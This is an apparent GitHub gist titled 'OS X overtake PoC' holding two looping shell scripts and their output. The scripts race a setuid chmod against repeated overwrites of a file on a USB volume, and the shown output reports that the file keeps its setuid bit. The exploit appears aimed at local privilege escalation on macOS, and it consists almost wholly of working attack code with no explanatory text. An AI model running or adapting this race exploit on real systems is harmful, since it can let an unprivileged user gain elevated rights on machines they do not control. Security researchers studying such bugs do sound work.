Last active
June 29, 2022 23:20
-
-
Save timb-machine/55cee05680d80a9f154c825b71a0ecf3 to your computer and use it in GitHub Desktop.
OS X overtake PoC
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$ cat racecar.sh | |
#!/bin/sh | |
while : | |
do | |
echo "#!/bin/sh" > /Volumes/USB/a | |
chmod u+xs /Volumes/USB/a | |
ls -la /Volumes/USB/a | grep sr | grep -v 10 | |
done | |
$ cat crash.sh | |
#!/bin/sh | |
while : | |
do | |
echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > aah | |
mv aah /Volumes/USB/a | |
done | |
./racecar.sh & | |
./crash.sh & | |
-rwsr-xr-x 1 timb staff 79 11 Apr 23:16 /Volumes/USB/a | |
-rwsr-xr-x 1 timb staff 79 11 Apr 23:16 /Volumes/USB/a |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment